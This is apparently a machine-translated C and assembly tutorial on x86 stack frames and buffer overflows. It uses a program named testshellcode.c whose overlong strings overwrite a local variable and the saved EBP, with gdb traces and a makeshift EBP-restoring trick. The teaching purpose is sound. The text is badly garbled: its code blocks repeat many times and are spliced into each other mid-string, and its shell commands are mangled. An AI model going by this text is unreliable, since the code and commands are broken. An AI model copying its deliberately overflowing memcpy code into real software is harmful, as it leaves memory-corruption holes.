In the production of  testShellcode.s  What’s in the code  func  Part of it  push ebp  After that  push  It’s over  edi  and  esi 。 However, after searching the code, it is found that these two registers are referenced in this function, so it is useless to save them. After deleting them, it is useless to compile and generate the object code.

$ cat testshellcode.s
...
func:
        pushl   %ebp
        movl    %esp, %ebp
        pushl   %edi
        pushl   %esi
...
        popl    %esi
        popl    %edi
        popl    %ebp
...

Let’s leave these two parts alone(edi  and  esi)In this paper, we mainly analyze the distribution of function related parts in the stack

  • Function local variables, near the top of the stack
  • The base address of the stack before calling the function(ebpPrevious Frame Pointer)In the middle near the top of the stack
  • The next instruction address of the calling function instruction  ` (EIP ‘), in the middle near the bottom of the stack
  • Function parameter. At the end near the bottom of the stack, the last parameter is put on the stack first

At this point, the distribution of function call related content in the stack is relatively clear. Before specifically analyzing the buffer overflow problem, let’s look at a problem that has a great relationship with the function, that is, the storage of function return value: the return value of the function is stored in the register  eax  In the middle.

Let’s look at this code first

/**
 * test_return.c -- the return of a function is stored in register eax
 */

#include 

int func()
{
        __asm__ ("movl $1, %eax");
}

int main()
{
        printf("the return of func: %d\n", func());

        return 0;
}

After compiling and running, you can see that the return value is 1, which is exactly what we are doing in the  func  Function  mov  reach  eax  It is easy to understand that the return value is stored in the  eax  If you still have doubts, you can look at the assembly code. After the function returns,eax  The value in is taken as  printf  In the source code, we just push the  func  As a result of  printf  The second parameter of.

$ make test_return
cc     test_return.c   -o test_return
$ ./test_return
the return of func: 1
$ gcc -S test_return.c
$ cat test_return.s
...
        call    func
        subl    $8, %esp
        The second parameter of pushl% eax # printf pushes the return value of func to the bottom of the stack
        Pushl $. Lc0 # the first parameter of printf, the return of func: D
        call    printf
...

For system calls, the return value is also stored in the  eax  Register.

out of buffer

Example analysis: String copy

Let’s start with a short piece of code.

/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */

#define BUF_SIZE 8

#ifdef STR1
# define STR_SRC "AAAAAAA
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAA\0\1\0\0\0"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE];
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAA\0\1\0\0\0"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE];
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAA\0\1\0\0\0"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE];
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAA\0\1\0\0\0"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE];
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
" #endif #ifndef STR_SRC # define STR_SRC "AAAAAAA" #endif int func(int a, int b, int c) {         int sum = 0;         char buffer[BUF_SIZE];         sum = a + b + c;         memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAA\0\1\0\0\0"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE];
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
', BUF_SIZE);         memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);         return sum; } int main() {         int sum;         sum = func(1, 2, 3);         printf("sum = %d\n", sum);         return 0; }

Compile to see the result:

$GCC - dstr1 - O testshellcode testshellcode. C # defines the macro STR1 through - D to adopt the first str_ Value of SRC
$ ./testshellcode
sum = 1

I don’t know if you find any abnormality? The place marked in red on it, originally  sum  by  1+2+3  That is 6, but the actual return is 1. What is the reason? You should know something about it, because we are copying strings  AAAAAAA\\0\\1\\0\\0\\0  reach  buf  It’s more than that  buf  The original size.  buf  The original size is  BUF_SIZE, 8 bytes, and what we want to copy is 12 bytes, so it’s more than four bytes. According to the analysis in the first section, we use the change of stack to represent the copy process  memcpy  The process of development.

memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);

(low address)
Before copying = = = = > after copying
0x00000000       0x41414141      #char buf[8]
0x00000000       0x00414141
0x00000006       0x00000001      #int sum
(high address)

Through  gdb  Debug to confirm (only excerpts).

$ gcc -DSTR1 -g -o testshellcode testshellcode.c
$ gdb -q ./testshellcode
...
(gdb) l
21
22              memset(buffer, '
$ gcc -DSTR1 -g -o testshellcode testshellcode.c
$ gdb -q ./testshellcode
...
(gdb) l
21
22              memset(buffer, '\0', BUF_SIZE);
23              memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
24
25              return sum;
...
(gdb) break 23
Breakpoint 1 at 0x804837f: file testshellcode.c, line 23.
(gdb) break 25
Breakpoint 2 at 0x8048393: file testshellcode.c, line 25.
(gdb) r
Starting program: /mnt/hda8/Temp/c/program/testshellcode
Breakpoint 1, func (a=1, b=2, c=3) at testshellcode.c:23
23              memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
(gdb) x/3x $esp+4
0xbfec6bd8:     0x00000000      0x00000000      0x00000006
(gdb) n
Breakpoint 2, func (a=1, b=2, c=3) at testshellcode.c:25
25              return sum;
(gdb) x/3x $esp+4
0xbfec6bd8:     0x41414141      0x00414141      0x00000001
', BUF_SIZE); 23 memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1); 24 25 return sum; ... (gdb) break 23 Breakpoint 1 at 0x804837f: file testshellcode.c, line 23. (gdb) break 25 Breakpoint 2 at 0x8048393: file testshellcode.c, line 25. (gdb) r Starting program: /mnt/hda8/Temp/c/program/testshellcode Breakpoint 1, func (a=1, b=2, c=3) at testshellcode.c:23 23 memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1); (gdb) x/3x $esp+4 0xbfec6bd8: 0x00000000 0x00000000 0x00000006 (gdb) n Breakpoint 2, func (a=1, b=2, c=3) at testshellcode.c:25 25 return sum; (gdb) x/3x $esp+4 0xbfec6bd8: 0x41414141 0x00414141 0x00000001

It can be seen that the C language does not limit the boundary of the array. We can store a string of predefined length into the array, resulting in a buffer overflow.

Buffer overflow consequences

The problem after the overflow is that it causes the other contents of the stack to be covered, which may change the original behavior of the program.

If this kind of problem is exploited by “hackers”, it will have very terrible consequences. If it is small, it will let illegal users obtain system permissions and treat your server as a “zombie” to attack other machines. If it is serious, it may be deleted (so backup is very important). Even if it is not exploited by hackers, if such problems are put into the medical field, it will be very dangerous. Maybe the covered number is just used to control the radiation amount for cancer treatment. If something goes wrong, it may lead to death. Of course, in the aerospace field, it may be many zeros  money  Even the loss of astronauts, ha ha, “buffer overflow, the consequences are very serious!”

Buffer overflow strategy

What about this one? seeminglyPrinciple and Countermeasure of buffer overflow attack in LinuxThere is one  libsafe  Library, can at least be used to detect the program similar to the problem beyond the array boundary. For the specific problem above, in order to protect the environment  sum  There is a trick that allows the sum operation to be done after the string copy operation, so that the sum operation can rewrite the overflow part. Let’s see the effect from the bottom. Keep looking at the buffer overflow.

Let’s take a look at the code first, or  testShellcode.c  The improvement of the system.

/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8

#ifdef STR1
# define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
" #endif #ifdef STR2 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBB" #endif #ifdef STR3 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCC" #endif #ifdef STR4 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCCDDDD" #endif #ifndef STR_SRC # define STR_SRC "AAAAAAA" #endif int func(int a, int b, int c) {         int sum = 0;         char buffer[BUF_SIZE] = "";         memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
', BUF_SIZE);         memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);         sum = a + b + c;      // Putting the summation operation after the copy operation can "protect" the summation result under certain circumstances         return sum; } int main() {         int sum;         sum = func(1, 2, 3);         printf("sum = %d\n", sum);         return 0; }

Look at the operation:

$GCC - D STR2 - O testshellcode testshellcode. C # copy 8 more bytes, the result is the same as STR1
                        #The reason is that EDI and ESI are useless. It doesn't matter if they are covered
$. / testshellcode see? In this case, let the integer operation be done after the string is copied to "protect" the integer result
sum = 6
$GCC - D str3 - O testshellcode testshellcode. C # copy four more bytes, and now the EBP will be covered
                                               #In this way, when the main function needs to use EBP to access data again
                                              #Access to illegal memory will result in segment errors.
$ ./testshellcode
Segmentation fault

If you are interested, you can also use GDB to check the stack changes after copying strings.

How to protect EBP from being modified

Now let’s do a more interesting thing: how to try to protect our children  ebp  Not modified.

First of all, be clear  ebp  The function and “behavior” of this register, which is the stack base address, and it is found that when any function is called, the  ebp  Always on the first instruction being pushed into the stack and on the last instruction(ret)It was ejected before. Like this:

Func: # function
       Pushl% EBP # first instruction
       ...
       Popl% EBP # penultimate instruction
       ret

Remember that the return value of the function mentioned in the first part is stored in the  eax  In the register? If we only do these two instructions in a function:

popl %eax
pushl %eax

Then it happens to have:

Func: # function
       Pushl% EBP # first instruction
       Popl% eax # store the EBP pop-up just pushed into the stack in eax
       Pushl% eax # pushes EBP onto the stack again
       Popl% EBP # penultimate instruction
       ret

So instead of changing the state of the stack, we get  ebp  If you get this value before calling any function  ebpAnd reset it after any string copy statement that might cause a buffer overflow  ebp  Then you can protect it  ebp  la How to realize it? Look at the code.

/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8

#ifdef STR1
# define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
" #endif #ifdef STR2 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
